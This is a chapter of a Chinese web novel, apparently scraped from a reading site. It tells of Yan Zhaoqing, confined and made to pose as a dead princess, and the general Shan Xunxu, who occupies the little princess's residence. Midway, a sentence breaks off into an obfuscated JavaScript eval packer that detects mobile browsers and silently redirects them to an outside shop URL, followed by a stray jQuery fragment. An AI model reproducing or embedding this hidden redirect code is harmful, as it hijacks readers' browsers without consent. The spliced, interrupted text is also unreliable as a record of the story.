当天晚上,裹着阵阵闷雷晏昭清被丫鬟们塞进一软轿里,大约是见她过于害怕雷声,亦或许是担心晏昭清再度逃跑,这次岁末紧贴着坐在她身边。
往日被岁末各种观察,“矫正行为举止”,对于这样的人坐在自己身边晏昭清哪能不怕,但外面的雷声轰隆响个不停,晏昭清更怕,于是乎她慢慢向岁末靠了过去。
岁末不再是记忆中那一直待她苛刻的模样,这回她主动揽住晏昭清,轻轻拍打着她的后脊,“不怕不怕,小姐不怕。”
不一会儿晏昭清便睡着了。
在她微微抖动的眉睫前文字们表现的十分活跃:
【我家孩子心这么大吗?】
【睡着啦?】
【睡吧睡吧,乖宝也是累坏了,天天装精神不正常。】
【咱们什么时候能剧透后续的剧情啊?我真的很担心我家孩子。】
【再看看!被女鹅修改过多的剧情太多了,有些结局完全不一样了,我们剧透范围也仅限于原书内容,只能在这里给她加油了。】
【很担心,但是我选择相信她,因为我家孩子最棒!】
等晏昭清醒来时,雨已经停了,眼前不再是紧关的厢房门窗,屋内也没有人守着她,晏昭清心道奇怪,推开门,走进院子里,她睁着眼抬头,终于得以窥月光。
再往四处看看,好像没有人?
【要不然逃?】
文字跃入眼前,她嘴角勾起一抹浅笑,而后缓缓摇摇头,逃?不,这次她不想逃,她想知道那些人到底要做什么?
可一连两日在院落里晏昭清都不曾遇到人,饭菜倒是均会准时出现在桌上。
“人呢?”晏昭清纳闷,她单手撑着脸趴在桌子上发懵,难道她们发现自己不对劲了?
不应该呀!她这几天行为举止可是完全按照岁末要求的凌小姐那样,因凌小姐厌恶鱼腥,最近饭桌上的鱼她可是连目光都不曾施舍过。
“人都去哪里了?连岁末也不见了。”
晏昭清不明白为什么,她如今换了一个地方,有个大院子也能瞧见天色了,往日身边跟着对那一串人忽然集体消失了?怪神秘的。
连院内无端变化的缘由晏昭清都不曾知晓,她又去哪里知道如今京城彻底乱了呢!
在高词恩布的主持下,扇寻续和晏昭清的灵位礼成,完婚了。
围观全程的皱毅心情格外忐忑,他的精神以及身体状态都处于极度紧绷的情况,更顾不上自己的职务,一时间懈怠了还挨了几板子,可邹毅依旧警惕,因为他知道他目前只有一个最关键的任务,那就是控制住扇寻续!
换个词或许更准确,他需要让定安将军冷静,不要意气用事。
一连几日邹毅都紧盯着扇寻续,彻夜未眠不过是小事,令他更为惶恐不安的便是扇寻续的情况。
他有点太正常了。
这几天扇寻续日日笑容满面,他似乎已经从晏昭清离世的阴霾中走出来了,每日看上去都心情不错,每日都会和晏昭清说活……和她的牌位说话。
邹毅挠了挠头,这和了解相思之苦,和逝世之人多言语几番更能疏解心中郁结,应当是件好事。
期间高词恩布还和扇寻续发过一次火,说他什么欺骗自己,为什么不去找凶手巴拉巴拉的,邹毅听的云里雾里,但心觉高词恩布让扇寻续做的事肯定不是件简单的事情。
在所有人都以为扇寻续调理好,已经接受晏昭清离世的第四日,他动了。
扇寻续去了公主府,一身黑衫,手持长鞭,无需奴仆传唤,他闯了进去。
他走的很慢,脸上扬起不愠不怒的淡笑,恰似闲庭漫步。
“你你你……给我滚出去!”小公主听闻过扇寻续毁掉晏昭清棺木后就知道一定会来,但她不曾想过他如此理直气壮,本该是客随主便,但他却径直落座主位?
她后槽牙都快咬碎了,努力维持着脸上的笑容,小公主再道,“定安将军,这是我私人府邸。”
“不然呢?”扇寻续随意的依靠在椅子上,一双眼静静盯着她,“怎么,不欢迎?”
对上男人阴沉的双眸,小公主猛然一颤,如临大敌,“没没有。”
“定安将军登门,自然是蓬荜生辉,不知将军此行……”
“要东西。”讲完扇寻续便不再理会小公主。
小公主瞥了扇寻续一眼,注意到他手上可怖的伤痕,面色一凝,“不知将军是要什么东西呢?”
“她留在这里的所有东西。”
无需再解释,他们都明白这个她是谁。
小公主眼瞳中闪过一丝丝不自然,她笑答,“没了,学堂早有人来过了,我不是鼠窃狗偷之辈,东西一早便还了。”
闻言扇寻续眉梢一挑,脸上扬起一抹更大的冷笑,语气听起来格外不耐烦,“是吗?”
“你也知道,我要的,你还不起?”
小公主警觉,她缓缓后退,低头不语。
“走什么?”扇寻续一脸邪气,他伸出手捏揉着方才丫鬟端上来热茶中的异物,声音低沉,“害她,也用的这种手段?”
眼看着那盏撒了蒙汗药的茶被人摔碎,小公主忌惮道,“你到底是来做什么的……”
俊朗少年脸上浮现出不符合他年纪的沉稳,扇寻续左手轻点着桌面,伴着笃笃声,他格外游刃有余,“杀人偿命,欠债还钱,你说我来干什么?”
小公主吓都要被吓死了,扇寻续就这么光盯着她,就让人觉得遍体生寒。
而且他颇有一种要长住小公主府的意味,到太阳落山,小公主告退歇息了他还坐在主位上。
晚间有一丫鬟来请他,“将军,天墨了。”
若晏昭清在此处一定能将她认出来,因为这人竟然是岁末!
“哦,”扇寻续懒洋洋的伸了个懒腰,而后换了个舒服的姿势继续倚着。
怎么还听不懂好赖话……
“将军!”岁末焦急开口,“你该走了。”
“走?”缩在椅子上的人投来一道打量的目光,“当然可以。”
扇寻续讲的极其无赖,“我说了,小公主把我要的还我,我就走。”
他可是定安将军,本就桀骜不驯,如今心中少了晏昭清这个能安定他情绪的人自然是更加无畏,他并不怕岁末撵人,更没有把她放进眼里。
扇寻续一句话就把岁末早已准备好的长篇大论噎在喉间,无法施展。
岁末本不该出现在小公主府的,可扇寻续来了,小公主招架不住,她便不得不来。
因扇寻续仅是呆在小公主府,一没做出什么越界之举,二不曾冒犯他人,皇后等人也束手无策。
他们也请了不少朝中大臣来劝,但扇
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14176897|145519||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
寻续轻飘飘一句,“晏小姐能陪小公主读书,那我定安将军陪小公主读书,不行?”将人全憋的哑口无言。
说直白点,他压根什么错都没有,无非是冒昧登门拜访,无非是呆在小公主府让人心生畏惧,但你这又不能怪他不是,定安将军就是有那么凶悍。
你不想人待着,那把定安将军要的东西还了呗?众人齐声劝小公主,“什么东西也比不得小命呀!”
小公主哭得上气不接下气,那是她不想还吗?那是她还不起!
晏昭清早死透了她去哪里整一个活生生的人出来还给扇寻续?
她都快冤死了!
“母妃,我真的没有害晏昭清,我不知道她怎么就去了!”
“当真?”
皇后娘娘微敛眼眸,安慰自己女儿,“莫伤心,咱们是被人算计了。”
小公主愕然一顿,眼里满是迷惑。
“傻孩子,你说世上哪有这般巧的事情,刚好晏小姐参加了我的生日宴后就溺亡在公主府内。”
她脑海中忽而浮现一道身影,小公主问,“是云子月吗?”
“母妃你不是也才知晓她和我二哥暗中勾搭,狼狈为奸嘛!”
“怕只怕没有那么简单,”皇后凝神。
而后她笑道,“倒真小瞧了晏昭清,扇寻续对她竟如此用情至深。”
若是一早便知,说不定是一大助力,可惜……
小公主一听又哭了,“母妃,真的没有办法赶走他吗?”
“他真真比世间厉鬼还吓人啊!”
皇后摇摇头,无奈叹了口气。
就在扇寻续将小公主府闹的鸡飞狗跳的当日,艳阳高照,晏昭清坐在院内池塘旁巨石上百无聊赖正发呆,一道苍老的声音忽从她身后传来。
“晴晴,太阳毒,该回屋了。”
晏昭清侧目,是一位老者,瞧着穿着倒是朴素,发鬓间仅由一木簪拢好。
刚想问她晴晴是谁?
眼前的老者忽而冲晏昭清发了脾气,她手持木拐,厉声怒喝,“正晴,天热回屋!”
见老者情绪激动,自她身后跑出一人,正是岁末,她笑着招呼晏昭清,“凌小姐,莫气老太太,还是快些回来吧!”
晏昭清蹙眉,正晴,凌小姐?
不是吧……
凌正晴?她?
【我凑!】
【什么情况?】
【啊啊啊,书里没有这段,我们不知道。】
她朝岁末方向挥挥手,“诶!我马上回。”
晏昭清努力消化着自己是长公主,是当今圣上死去长姐,凌正晴的事情。
等一下等一下,如果她是凌正晴的话,那这个老者?
晏昭清一瞬瞪大眼睛,她不得不捂住自己嘴巴,当今圣上的亲娘,太后!
不是吧……晏昭清一阵感慨,修复前朝绣品时张恩侯私下和她商量过,说能避则避,问她愿不愿意来太后这里。
她还好奇过为什么太后和小公主那儿的要求都一样,均要挑选适龄少女。
那时她当宫规森严,不曾想过是太后患疾。
“晴晴,这个你吃。”太后兴高采烈的将一碗菜端到晏昭清面前,而后兴奋的拍手。
望着眼前这个做出犹如稚童一般天真烂漫动作行为的老太太,晏昭清不免诧异。